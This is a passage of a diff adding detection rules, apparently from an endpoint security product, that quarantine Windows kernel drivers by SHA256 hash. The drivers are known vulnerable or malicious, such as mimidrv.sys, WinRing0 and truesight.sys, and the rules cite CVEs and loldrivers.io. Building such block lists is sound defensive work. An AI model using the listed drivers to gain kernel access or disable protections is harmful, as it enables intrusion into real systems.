+  "hl_testing_start_time": "2026-03-23T11:45:29.617174Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "11bd2c9f9e2397c9a16e0990e4ed2cf0679498fe0fd418a3dfdac60b5c160ee5",
+  "comment": "Noriyuki MIYAZAKI's WinRing0 dangerous driver (aka WinRing0x64.sys) [CVE-2020-14979] [https://www.loldrivers.io/drivers/f0fd5bc6-9ebd-4eb0-93ce-9256a5b9abf9/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1a2b70bc-1678-570f-9173-747a031380e1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.983122Z",
+  "creation_date": "2026-03-23T11:45:29.983124Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.983129Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a1ee0b8a7974f3d11c10241027c0e7171c798a28589aae9ff8c5a86228642af7",
+  "comment": "Malicious Kernel Driver (aka wantd_3.sys) [https://www.loldrivers.io/drivers/a22104a8-126d-449f-ba3e-28678c60c587/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1a2bbcd1-73a6-576f-870e-74b7f61b09e0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.455816Z",
+  "creation_date": "2026-03-23T11:45:30.455820Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.455829Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "80b2c44b2cdb74bafcc1271c5338f1d80f3621308b6c9d24d52bb28c8983677c",
+  "comment": "Vulnerable Kernel Driver (aka HWiNFO32.SYS) [https://www.loldrivers.io/drivers/2225128d-a23f-434a-aaee-69a88ea64fbd/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1a3a32b8-a832-597a-82ae-ed3eef3f84d7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.982253Z",
+  "creation_date": "2026-03-23T11:45:29.982255Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.982261Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a7047cee090ddbd150d7337a9357e03ccea56f004a2d29ddb7b8a0636a396240",
+  "comment": "Vulnerable Kernel Driver (aka KfeCo11X64.sys) [https://www.loldrivers.io/drivers/76b5dfae-b384-45ce-8646-b2eec6b76a1e/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1a3ca41e-25b6-565d-ac7e-04d0b3483ab8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.146865Z",
+  "creation_date": "2026-03-23T11:45:31.146867Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.146884Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "abd10f102691ac30182a9ad827348cd480512a7f56fdbd9e450a8aaae2c837de",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1a3ce5ab-06e8-5c07-9740-330dad25c761",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.149222Z",
+  "creation_date": "2026-03-23T11:45:31.149224Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.149229Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "128c06b72d6dc977f4bb042ea1899be9ee0e8444f23bb87be606551c01e5adf8",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1a52585c-37ca-5252-af03-8302756c1a01",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.608596Z",
+  "creation_date": "2026-03-23T11:45:29.608598Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.608604Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f4c6063550ccae04771484b5eb60b5be33d07cebfbc3caa47e5f369f9fb50fc7",
+  "comment": "VirtualBox VBoxDrv vulnerable driver (aka VBoxDrv.sys) [CVE-2008-3431] [https://www.loldrivers.io/drivers/79542852-3a0c-43bc-bfa3-3eeb0e1d7fd2/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1a5b8176-be27-5e53-9748-b0c93fc82ee0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.463212Z",
+  "creation_date": "2026-03-23T11:45:30.463215Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.463224Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b0b80a11802b4a8ca69c818a03e76e7ef57c2e293de456439401e8e6073f8719",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1a5efa77-642e-5361-bd59-9092809ab5a4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.622949Z",
+  "creation_date": "2026-03-23T11:45:29.622951Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.622957Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d6753d2e6cf2f11932b4fedd4362ab57651f8f3baa886eace22fd98a14ebc2e8",
+  "comment": "PassMark vulnerable driver (aka DirectIo32.sys and DirectIo64.sys) [CVE-2020-15479] [https://github.com/eset/vulnerability-disclosures/blob/master/CVE-2020-15479/CVE-2020-15479.md] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1a624cf2-d115-5acb-a507-21ae38161cbe",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.489827Z",
+  "creation_date": "2026-03-23T11:45:31.489830Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.489839Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2de8a42b61fcc910baaef045c02e34d5734c17362c4c9c59ebe31b09dca9501a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1a64bf39-4827-5a24-a236-e7ef77383d92",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.978562Z",
+  "creation_date": "2026-03-23T11:45:29.978564Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.978569Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ea85bbe63d6f66f7efee7007e770af820d57f914c7f179c5fee3ef2845f19c41",
+  "comment": "Vulnerable Kernel Driver (aka IOMap64.sys) [https://www.loldrivers.io/drivers/f4990bdd-8821-4a3c-a11a-4651e645810c/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1a668372-1b9e-5fea-9a7c-30facbfed65f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.817004Z",
+  "creation_date": "2026-03-23T11:45:31.817006Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.817011Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "871699ac3fb68074ce6311aa3c73427f18c314c9e9d2591314479fd171b5de04",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1a767f35-e879-541d-8dd1-ef6684b7e619",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.822891Z",
+  "creation_date": "2026-03-23T11:45:31.822894Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.822903Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0f3726da10f29b45473ea00b336648ce38b375a107f212e8d61a93d7140301e7",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1a7820ad-fbc1-5acb-8688-265b7c6a4835",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.608033Z",
+  "creation_date": "2026-03-23T11:45:29.608035Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.608041Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b8eb26b6f79020ae988e4fb752dc06e1b6779749bf4f8df2872fc2b92bab8020",
+  "comment": "Vulnerable Kernel Driver (aka tfbfs3ped.sys) [https://www.loldrivers.io/drivers/500e07cb-77c6-4e83-ae3f-73f70f1c10b5/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1a78f9a1-58ad-5bb3-b213-06fc39e4246e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.486638Z",
+  "creation_date": "2026-03-23T11:45:31.486642Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.486651Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3df955b65cf8868501e7584ea4c444c8ec848c338bf1ce0174f7284f82b2e458",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1a7933cd-ecfb-51ad-93e2-4913d3fc1da8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.455417Z",
+  "creation_date": "2026-03-23T11:45:30.455420Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.455429Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8bf84bed9b5fa4576182c84d2f31679dc472acd0f83c9813498e9f71ed9fef3e",
+  "comment": "Vulnerable Kernel Driver (aka mhyprotrpg.sys) [https://www.loldrivers.io/drivers/181b89e5-4bdd-4e95-b1bc-a294a4adfb29/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1a8a6c3d-eeaf-5567-bfa6-d648744181b7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.453041Z",
+  "creation_date": "2026-03-23T11:45:30.453045Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.453054Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c08581e3e444849729c5b956d0d6030080553d0bc6e5ae7e9a348d45617b9746",
+  "comment": "Vulnerable Kernel Driver (aka nicm.sys) [https://www.loldrivers.io/drivers/86cff0de-2536-4b8d-a846-a7312c569597/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1a8e0509-4ee8-5f29-9618-7fb09c152d7f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.475601Z",
+  "creation_date": "2026-03-23T11:45:31.475605Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.475615Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "027e22a238d1033467ec4800479392e27f4e5fd4a50785f96a32722d15df5acf",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1a91b4bb-e231-5476-b96e-68d0e2a130b8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.478833Z",
+  "creation_date": "2026-03-23T11:45:31.478837Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.478846Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e4060fe83f89ef7c94f52a20dbbcb8e6303cb9f493d622b7785763612f9d17e0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1ab7195c-97f4-5a9d-8fe8-abb26d1aacf9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.828275Z",
+  "creation_date": "2026-03-23T11:45:30.828277Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.828282Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5d4da5704e1c198d6925473d42c11932485dfcb60d59dbfdd2f9459e3589286f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1ab8f1a7-8ef9-5fb6-82c6-6ee89df0ba1d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.483147Z",
+  "creation_date": "2026-03-23T11:45:31.483151Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.483161Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4216ccb7c3d275f6ca2e093ccfc50b8e4e76709d80ed723eb2d9d64aa0e90d87",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1abd5bc8-7649-5b4d-abf2-2717cf6ef1ac",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.466664Z",
+  "creation_date": "2026-03-23T11:45:30.466667Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.466676Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4bca0a401b364a5cc1581a184116c5bafa224e13782df13272bc1b748173d1be",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1ac73fb4-7e4c-5f43-8dd8-24341e7d9502",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.819428Z",
+  "creation_date": "2026-03-23T11:45:30.819430Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.819436Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d54ac69c438ba77cde88c6efd6a423491996d4e8a235666644b1db954eb1da9c",
